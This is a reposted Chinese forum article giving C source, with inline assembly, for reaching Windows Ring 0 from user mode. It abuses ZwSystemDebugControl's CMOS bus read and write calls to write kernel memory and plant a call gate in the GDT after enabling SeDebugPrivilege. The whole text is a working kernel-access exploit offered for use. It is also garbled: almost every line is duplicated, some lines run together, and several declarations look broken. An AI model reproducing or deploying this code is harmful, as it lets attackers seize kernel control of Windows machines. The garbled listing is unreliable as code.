[zt]利用NtSystemDebugControl进入Ring0的源代码
    文章作者:zjjmj 
     /*
/*
 * Discovered and coded by randnut Jan 25, 2004
* Discovered and coded by randnut Jan 25, 2004
 * I just add my callgate routine, hope you enjoy it, hehe.  ------zjjmj2002
* I just add my callgate routine, hope you enjoy it, hehe.  ------zjjmj2002
 /
/
 #include <windows.h>
#include <windows.h>
 #include <stdio.h>
#include <stdio.h>
 typedef int NTSTATUS;
typedef int NTSTATUS;
 typedef DWORD ULONG_PTR;
typedef DWORD ULONG_PTR;
 #define NTAPI __stdcall
#define NTAPI __stdcall
 const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_CS = 0x174;
 const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_ESP = 0x175;
 const IA32_SYSENTER_EIP = 0x176;
const IA32_SYSENTER_EIP = 0x176;
 const SelCodeKernel = 0x8;
const SelCodeKernel = 0x8;
 const CmosIndx = 0x0E;        // CMOS Diagnostic Status
const CmosIndx = 0x0E;        // CMOS Diagnostic Status
 const RdWrIoPort = 0x80;
const RdWrIoPort = 0x80;
 #define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
 #define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}
 typedef enum _DEBUG_CONTROL_CODE {
typedef enum _DEBUG_CONTROL_CODE {
 DebugSysReadIoSpace = 14,
DebugSysReadIoSpace = 14,
 DebugSysWriteIoSpace = 15,
DebugSysWriteIoSpace = 15,
 DebugSysReadMsr = 16,
DebugSysReadMsr = 16,
 DebugSysWriteMsr = 17,
DebugSysWriteMsr = 17,
 DebugSysReadBusData = 18,
DebugSysReadBusData = 18,
 DebugSysWriteBusData = 19,
DebugSysWriteBusData = 19,
 } DEBUG_CONTROL_CODE;
} DEBUG_CONTROL_CODE;

 typedef enum _BUS_DATA_TYPE {
typedef enum _BUS_DATA_TYPE {
 ConfigurationSpaceUndefined = -1,
ConfigurationSpaceUndefined = -1,
 Cmos,
Cmos,
 EisaConfiguration,
EisaConfiguration,
 Pos,
Pos,
 CbusConfiguration,
CbusConfiguration,
 PCIConfiguration,
PCIConfiguration,
 VMEConfiguration,
VMEConfiguration,
 NuBusConfiguration,
NuBusConfiguration,
 PCMCIAConfiguration,
PCMCIAConfiguration,
 MPIConfiguration,
MPIConfiguration,
 MPSAConfiguration,
MPSAConfiguration,
 PNPISAConfiguration,
PNPISAConfiguration,
 SgiInternalConfiguration,
SgiInternalConfiguration,
 MaximumBusDataType
MaximumBusDataType
 } BUS_DATA_TYPE, PBUS_DATA_TYPE;
} BUS_DATA_TYPE, PBUS_DATA_TYPE;
 // See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of 
 struct MyCallGate
struct MyCallGate {
{
 WORD      OFFSETL;
WORD      OFFSETL;
 WORD      SELECTOR;
WORD      SELECTOR;
 BYTE      DCOUNT;
BYTE      DCOUNT;
 BYTE      GTYPE;
BYTE      GTYPE;
 WORD      OFFSETH;
WORD      OFFSETH;
 DWORD    CodeLimit;
DWORD    CodeLimit;
 DWORD    CodeBase;
DWORD    CodeBase;
 };
};

 typedef struct _BUS_STRUCT {
typedef struct _BUS_STRUCT {
 ULONG  Offset;
ULONG  Offset;
 PVOID  Buffer;
PVOID  Buffer;
 ULONG  Length;
ULONG  Length;
 BUS_DATA_TYPE  BusDataType;
BUS_DATA_TYPE  BusDataType;
 ULONG  BusNumber;
ULONG  BusNumber;
 ULONG  SlotNumber;
ULONG  SlotNumber;
 } BUS_STRUCT;
} BUS_STRUCT;
 typedef
typedef
 NTSTATUS
NTSTATUS
 (NTAPI PZwSystemDebugControl)(
(NTAPI PZwSystemDebugControl)(
 DEBUG_CONTROL_CODE ControlCode,
DEBUG_CONTROL_CODE ControlCode,
 PVOID InputBuffer,
PVOID InputBuffer,
 ULONG InputBufferLength,
ULONG InputBufferLength,
 PVOID OutputBuffer,
PVOID OutputBuffer,
 ULONG OutputBufferLength,
ULONG OutputBufferLength,
 PULONG ReturnLength
PULONG ReturnLength
 );
);
 PZwSystemDebugControl ZwSystemDebugControl = NULL;
PZwSystemDebugControl ZwSystemDebugControl = NULL;

 int CmosRead(int offs, BYTE ppAddr = NULL)
int CmosRead(int offs, BYTE ppAddr = NULL)
 {
{
 BYTE buf;
BYTE buf;
 BUS_STRUCT bus;
BUS_STRUCT bus;
 bus.BusDataType = Cmos;
bus.BusDataType = Cmos;
 bus.BusNumber = 0;
bus.BusNumber = 0;
 bus.SlotNumber = offs;
bus.SlotNumber = offs;
 bus.Buffer = ppAddr ? ppAddr : &buf;
bus.Buffer = ppAddr ? ppAddr : &buf;
 bus.Offset = 0;
bus.Offset = 0;
 bus.Length = 1;
bus.Length = 1;
 if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,
if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0, 
 NULL) < 0)
NULL) < 0)
 return -1;
return -1;
 else
else
 return ppAddr ? 0x100 : buf;
return ppAddr ? 0x100 : buf;
 }
}

 int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
 {
{
 BUS_STRUCT bus;
BUS_STRUCT bus;
 bus.BusDataType = Cmos;
bus.BusDataType = Cmos;
 bus.BusNumber = 0;
bus.BusNumber = 0;
 bus.SlotNumber = offs;
bus.SlotNumber = offs;
 bus.Buffer = ppAddr == NULL ? &val : ppAddr;
bus.Buffer = ppAddr == NULL ? &val : ppAddr;
 bus.Offset = 0;
bus.Offset = 0;
 bus.Length = 1;
bus.Length = 1;
 return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,
return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL, 
 0, NULL) >= 0;
0, NULL) >= 0;
 }
}

 int WriteMem(DWORD MemAddr, BYTE Value)
int WriteMem(DWORD MemAddr, BYTE Value)
 {
{ int OldVal = CmosRead(CmosIndx);
int OldVal = CmosRead(CmosIndx); BYTE p = (BYTE)(ULONG_PTR)MemAddr;
BYTE p = (BYTE)(ULONG_PTR)MemAddr; CmosWrite(CmosIndx, Value);
CmosWrite(CmosIndx, Value); CmosRead(CmosIndx, &p);
CmosRead(CmosIndx, &p); CmosWrite(CmosIndx, OldVal);
CmosWrite(CmosIndx, OldVal);
 return 1;
return 1; }
}
 int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
 {
{
 TOKEN_PRIVILEGES tok;
TOKEN_PRIVILEGES tok;
 tok.PrivilegeCount = 1;
tok.PrivilegeCount = 1;
 tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
 FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
 FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));
FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));
 return 1;
return 1;
 }
}
 void CallGate()
void CallGate() {
{    
 MyCallGate    CallGate;
MyCallGate    CallGate; DWORD        GDTBase;
DWORD        GDTBase;     _asm
    _asm {
    {             PUSH EDX
        PUSH EDX SGDT FWORD PTR SS:[ESP-2]
        SGDT FWORD PTR SS:[ESP-2] POP EDX
        POP EDX MOV GDTBase,EDX
        MOV GDTBase,EDX MOV CallGate.OFFSETL,DX
        MOV CallGate.OFFSETL,DX SHR EDX,16
        SHR EDX,16 MOV CallGate.OFFSETH,DX
        MOV CallGate.OFFSETH,DX }
    }     
     CallGate.SELECTOR = 0x358;
    CallGate.SELECTOR = 0x358; CallGate.DCOUNT = 0;
    CallGate.DCOUNT = 0; CallGate.GTYPE = 0xec;
    CallGate.GTYPE = 0xec; CallGate.CodeLimit = 0xffff;
    CallGate.CodeLimit = 0xffff; CallGate.CodeBase = 0xcf9a00;    //Build My CallGate
    CallGate.CodeBase = 0xcf9a00;    //Build My CallGate 
     WriteMem(GDTBase, 0xc3);
    WriteMem(GDTBase, 0xc3); 
     GDTBase = GDTBase+0x350;
    GDTBase = GDTBase+0x350; for ( int i=0 ; i<=15 ; i++ )
    for ( int i=0 ; i<=15 ; i++ ) {
    { BYTE p;
        BYTE p; DWORD q;
        DWORD q; 
         _asm
        _asm {
        { LEA ESI,CallGate
            LEA ESI,CallGate ADD ESI,i
            ADD ESI,i XOR EAX,EAX
            XOR EAX,EAX LODSB
            LODSB MOV p,AL
            MOV p,AL     }
        }     
         
         WriteMem(GDTBase+i, p);
        WriteMem(GDTBase+i, p); }
    } }
}  
 int main(int argc, char* argv[])
int main(int argc, char* argv[]) {
{ HMODULE hNtdll;
    HMODULE hNtdll; FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
    FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL); FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
    FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,  "ZwSystemDebugControl")) != NULL);
"ZwSystemDebugControl")) != NULL);
 HANDLE hToken;
    HANDLE hToken; FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
    FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |  TOKEN_QUERY, &hToken));
TOKEN_QUERY, &hToken)); FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
    FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1)); 
         CallGate();
    CallGate(); return 0;
    return 0;     }
}
